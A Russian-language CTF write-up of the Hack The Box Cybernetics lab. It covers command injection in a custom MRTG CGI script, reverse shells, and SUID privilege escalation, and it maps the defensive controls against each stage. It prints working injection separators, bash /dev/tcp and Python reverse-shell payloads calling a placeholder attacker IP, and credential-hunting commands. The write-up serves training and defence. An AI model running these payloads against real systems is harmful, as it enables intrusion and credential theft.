HTB Cybernetics writeup: RCE в MRTG и контроли, которые должны были сработать

На первом этапе Cybernetics Pro Lab я убил два часа на перебор очевидных точек входа — SMB-шары, типовые веб-приложения, открытый RDP. Всё мимо. Начальный плацдарм нашёлся в последнюю очередь: веб-панель MRTG (Multi Router Traffic Grapher — утилита мониторинга сетевого трафика на Perl) с инъекцией команд через кастомный CGI-скрипт лаборатории (не задокументированная CVE в официальном MRTG, а самописная обёртка в HTB). Один параметр в URL — и у меня reverse shell от www-data. Ниже — полный разбор цепочки от разведки до root с маппингом на MITRE ATT&CK и пять конкретных контролей, которые должны были остановить атаку на каждом этапе. Это типичный hack the box writeup, но с оборотной стороной — взглядом защитника, а не только атакующего.

Зачем атакующему веб-панель мониторинга

Прежде чем лезть в техническую цепочку — зачем вообще ломать панель мониторинга, если рядом стоят серверы с бизнес-данными? Мониторинговые системы вроде MRTG, Cacti или Zabbix занимают привилегированное положение в инфраструктуре: они подключены ко всем сегментам сети для сбора метрик, хранят SNMP community strings (строки-пароли для протокола управления сетевым оборудованием) и учётные данные в открытом виде, при этом часто развёрнуты «из коробки» без серьёзного харденинга.

В терминах MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1190 — её идентификаторы) компрометация такого сервиса — Exploit Public-Facing Application (T1190, тактика Initial Access): атакующий находит уязвимый веб-интерфейс на периметре и получает начальный доступ к внутренней сети.

[Применимо: внешний и внутренний пентест, legacy-инфраструктура с MRTG/Cacti на периметре или в DMZ]

Для антифрод-системы компрометация мониторинга — критический сценарий. Хост мониторинга даёт атакующему три актива одновременно. Первый — видимость: полная топология сети и трафиковые паттерны, включая транзакционные потоки к платёжным системам. Второй — скрытность: возможность манипулировать графиками и алертами, маскируя аномальный трафик. Третий — пивот: хост мониторинга общается с десятками VLAN, куда прямого доступа с периметра нет.

Если MRTG мониторит каналы к процессинговым системам, атакующий получает метаданные о транзакциях ещё до того, как коснётся основных серверов. Уязвимость веб-интерфейса, которая открывает доступ ко всей инфраструктуре — и начинается она с забытой панели мониторинга.

HTB Cybernetics прохождение — разведка и обнаружение MRTG

Требования к окружению

Для повторения шагов нужны: актуальная версия Kali Linux или Parrot OS (минимум 2 ГБ RAM для VM), nmap, gobuster или ffuf, curl, netcat (nc), Python 3.8+, Burp Suite Community Edition. Подключение к HTB через .ovpn файл Pro Lab — загружается из личного кабинета на вкладке Access после оплаты подписки.

Сканирование и обнаружение веб-интерфейса

Первый шаг — Network Service Discovery (T1046, тактика Discovery): найти все открытые порты и понять, какие сервисы за ними стоят. Запускаем полное сканирование:

nmap -sC -sV -p- --min-rate 5000 -oN cybernetics_full.txt <TARGET_IP>

Разбираем флаги: -sC запускает стандартные скрипты nmap (определение версий, HTTP-заголовки), -sV определяет сервисы, -p- сканирует все 65535 портов (без этого nmap проверит только топ-1000), --min-rate 5000 ускоряет процесс. Результат сохраняется в файл для дальнейшего анализа.

Что искать в выводе: кроме стандартных портов 22 (SSH), 80/443 (HTTP/HTTPS) — нестандартные HTTP-сервисы. MRTG часто живёт в подкаталоге /mrtg/ на основном веб-сервере или на отдельном порту.

После обнаружения HTTP-сервиса — перебор каталогов. Запускаем gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirb/common.txt -x cgi,pl — расширения .cgi и .pl тут принципиальны: именно так выглядят Perl-скрипты MRTG. Если в результатах появляется /mrtg/, /cgi-bin/ или файлы вроде 14all.cgi, traffic.cgi — точка входа найдена.

Визуально MRTG в браузере — набор HTML-страниц с PNG-графиками сетевого трафика и ссылками на интерфейсы отдельных устройств. CGI-скрипты принимают GET-параметры для выбора целевого устройства и временного диапазона — именно эти параметры становятся вектором для эксплуатации уязвимости мониторинга.

RCE в MRTG — эксплуатация уязвимости через инъекцию команд

Как работает инъекция команд в Perl CGI

MRTG написан на Perl и использует CGI-скрипты для динамического построения графиков при обращении к веб-панели. Уязвимость здесь — классический паттерн command injection: пользовательский ввод из HTTP-параметра попадает напрямую в системные вызовы без проверки. Это кастомный CGI-скрипт в HTB-лаборатории, а не задокументированная CVE в официальном MRTG. В Perl это выглядит так:

# Уязвимый паттерн: пользовательский ввод попадает в shell
my $target = $cgi->param('target');
my $output = `rrdtool graph /tmp/graph.png --start $target`;

Переменная $target приходит из GET-параметра и подставляется в бэктики (` `), которые в Perl выполняют строку как shell-команду. Передаёшь значение ; id вместо временной метки — shell выполнит и rrdtool, и id. Аналогичная проблема возникает при использовании Perl-функций open() и system() с интерполяцией переменных — любой вариант, где пользовательский ввод попадает в shell без санитизации, открывает дверь для удалённого выполнения кода (RCE, Remote Code Execution).

Эксплуатация — делай раз, делай два, делай три:

Шаг 1. Определяем инъектируемый параметр. Открываем запрос к CGI-скрипту в Burp Suite (инструмент перехвата и модификации HTTP-запросов) или прямо в строке браузера. Меняем значение подозрительного параметра на ;id. Если в теле ответа появляется строка uid=33(www-data) — инъекция подтверждена. Пустой ответ или ошибка 500 — пробуем другие разделители: |id, $(id), `id`. Каждый разделитель работает с разным контекстом вызова в Perl.

Шаг 2. Получаем reverse shell. На своей машине запускаем слушатель: nc -lvnp 4444 (netcat в режиме прослушивания порта 4444). Затем через уязвимый параметр отправляем payload: ;bash -c 'bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1'. Спецсимволы URL-кодируем, если передаём через GET. Конструкция /dev/tcp/ работает только если на целевой системе bash скомпилирован с поддержкой net redirections — не все сборки это включают. Проверьте: ;which bash. Если bash недоступен, альтернатива: ;python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("%YOUR_IP%",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'. Ожидаемый результат: в терминале с netcat появляется приглашение www-data@<hostname>:~$ — Unix Shell (T1059.004, тактика Execution).

Шаг 3. Стабилизируем шелл. Сырой reverse shell неудобен: нет автодополнения по Tab, Ctrl+C убивает сессию. Выполняем: python3 -c 'import pty; pty.spawn("/bin/bash")', затем Ctrl+Z, в своём терминале stty raw -echo; fg, потом export TERM=xterm. Теперь шелл полноценный — с историей команд и корректной обработкой спецсимволов.

Когда техника НЕ работает

• WAF на периметре — ModSecurity или облачный WAF фильтрует shell-метасимволы (;, |, `) в HTTP-параметрах. Обход через двойную URL-кодировку возможен, но не гарантирован.
• MRTG без CGI — если веб-страницы генерируются статически по cron (MRTG создаёт HTML каждые 5 минут), CGI-скриптов на сервере нет, и инъектировать некуда.
• SELinux/AppArmor в enforcing — даже при успешной инъекции процесс Apache ограничен политикой и не может запустить /bin/bash или открыть сетевое соединение.
• Современные версии — актуальные релизы MRTG валидируют входные параметры; уязвимость характерна для старых или кастомизированных инсталляций с самописными CGI-обёртками.

Privilege escalation HTB — от www-data до root

Шелл от www-data — это ещё не победа. Переходим к File and Directory Discovery (T1083, тактика Discovery) — ищем файлы конфигурации и учётные данные, к которым веб-сервер имеет доступ на чтение.

Первый приоритет — конфиг MRTG: cat /etc/mrtg/mrtg.cfg или, если путь нестандартный, find / -name "mrtg.cfg" 2>/dev/null. Конфиг хранит SNMP community strings в открытом виде — Credentials In Files (T1552.001, тактика Credential Access). В HTB-лабах (и в реальных инфраструктурах — чаще, чем хотелось бы) community string совпадает с паролем системного пользователя. Проверяем найденные строки для SSH-доступа к другим хостам — если подходит, это сценарий Local Accounts (T1078.003): повторное использование учётных данных для доступа к локальным аккаунтам.

Параллельно запускаем локальную разведку. linpeas.sh (загружаем на целевую машину через wget или curl с простого Python HTTP-сервера на своей стороне) автоматически проверяет десятки потенциальных векторов повышения привилегий. pspy мониторит процессы без прав root — позволяет увидеть cron-задачи, запускаемые привилегированными пользователями.

Что искать:

• SUID-бинарники — файлы, которые запускаются с правами владельца (часто root) независимо от того, кто их вызвал. Поиск: find / -perm -4000 -type f 2>/dev/null. Если в списке видите find, make, more или cancel — загляните на GTFOBins (справочник Unix-бинарников, пригодных для повышения привилегий): каждый из них позволяет получить shell от root при наличии SUID
• Кривые cron-задачи — скрипт, запускаемый от root, в который www-data может записать свой код
• Пароли в файлах — .bash_history, скрипты бэкапов, конфиги баз данных. Это Data from Local System (T1005, тактика Collection)

Предусловия для SUID-эксплуатации:

Работает если: бинарник из GTFOBins имеет установленный бит SUID (-rwsr-xr-x) и отсутствует мандатный контроль доступа (SELinux/AppArmor в enforcing). Не работает если: файловая система смонтирована с опцией nosuid, или бинарник отсутствует в GTFOBins-списке с поддержкой shell escape.

Пример: бинарник find с SUID выполняет произвольную команду через -exec: запуск find . -exec /bin/sh \; -quit порождает shell с правами владельца файла. Exploitation for Privilege Escalation (T1068).

Защита панели мониторинга от RCE — антифрод-контроли

Переключаем роль: что антифрод-система и SOC (Security Operations Center — центр мониторинга безопасности) должны были обнаружить на каждом этапе этой цепочки? По классификации OWASP (Open Worldwide Application Security Project), сценарий целиком попадает в A09:2021 — Security Logging and Monitoring Failures: без логирования и мониторинга вторжение невозможно обнаружить.

Детект на уровне WAF и мониторинга процессов

Контроль 1: входная валидация на WAF. Веб-панель мониторинга должна стоять за WAF (Web Application Firewall — межсетевой экран уровня приложений) с правилами блокировки shell-метасимволов в параметрах CGI-запросов. Правило ModSecurity, отсекающее символы ;, |, бэктики и $() в аргументах, останавливает большинство примитивных инъекций. Ограничение: не защищает от обходов через двойную URL-кодировку или \n-инъекции.

Контроль 2: мониторинг порождения процессов. Если процесс Apache (UID www-data) порождает /bin/bash или /bin/sh — это аномалия. EDR (Endpoint Detection and Response) или даже базовый auditd должен ловить execve от UID веб-сервера с аргументами, содержащими интерпретатор shell. В проде такое событие — инцидент, а не false positive.

Контроль 3: сетевая сегментация. Хост мониторинга не должен иметь возможности инициировать исходящие TCP-соединения на произвольные порты — именно через это работает reverse shell. Исходящий трафик ограничивается allowlist’ом: DNS (53), NTP (123), SNMP к целевым устройствам (161), обновления пакетов через прокси. Остальное — drop с алертом.

Контроль 4: мониторинг доступа к конфигам. Чтение mrtg.cfg процессом, отличным от штатной cron-задачи MRTG — сигнал тревоги. HIDS (Host-based Intrusion Detection System) вроде OSSEC или Wazuh отслеживает обращение к конфигурационным файлам и алертит при нетипичном контексте.

Контроль 5: аутентификация на веб-панели. Согласно NIST CSF v2.0, подкатегория PR.AA-01 (Identity Management, Authentication and Access Control): веб-панель мониторинга обязана требовать аутентификацию. MRTG в дефолтной конфигурации не имеет авторизации — CGI-скрипты доступны любому, кто знает URL. Даже базовая HTTP Basic Auth через .htpasswd кратно снижает поверхность атаки. Мониторинг транзакций и безопасность канала начинаются с того, что к панели мониторинга не может обратиться анонимный пользователь из интернета.

Всё это укладывается в рамку NIST CSF: DE.AE-01 (установлен базовый уровень нормального поведения, аномалии отслеживаются) и RS.AN-01 (уведомления от систем обнаружения расследуются). Если антифрод-система контролирует транзакционные потоки, но хост мониторинга стоит голый на периметре — вы охраняете сейф, но оставляете открытой дверь в комнату с ключами.

Я видел это в десятках проектов: Zabbix без пароля на фронтенде, Cacti с дефолтным admin/admin, MRTG с CGI-скриптами, открытыми в интернет без аутентификации. Ни разу — ни в одном из этих проектов — SOC не имел алерта на порождение шелла из процесса веб-сервера на хосте мониторинга. Проблема глубже: мониторинг — это актив, который видит всё, но которого никто не контролирует. Его не включают в скоупы пентестов («это же внутренний инструмент»), не обновляют («работает — не трогай»), не ставят за WAF («зачем, там только графики»). А потом удивляются, что атакующий прошёл от MRTG до контроллера домена за полтора часа, потому что SNMP community string совпадал с паролем сервисного аккаунта AD.

Прогноз мой такой: в ближайший год мониторинговые системы станут приоритетной мишенью при атаках на OT-сети и финтех, где они напрямую связаны с транзакционной инфраструктурой. Команды, которые не включат MRTG, Cacti и Zabbix в скоуп харденинга наравне с основными бизнес-приложениями, будут повторять одни и те же инциденты. Если ты переходишь в ИБ из IT и хочешь системно разобраться, как устроены такие цепочки атак и как их детектить — на IB Basics в Codeby Academy показывают не теорию, а как джуны реально решают рабочие задачи с первого дня.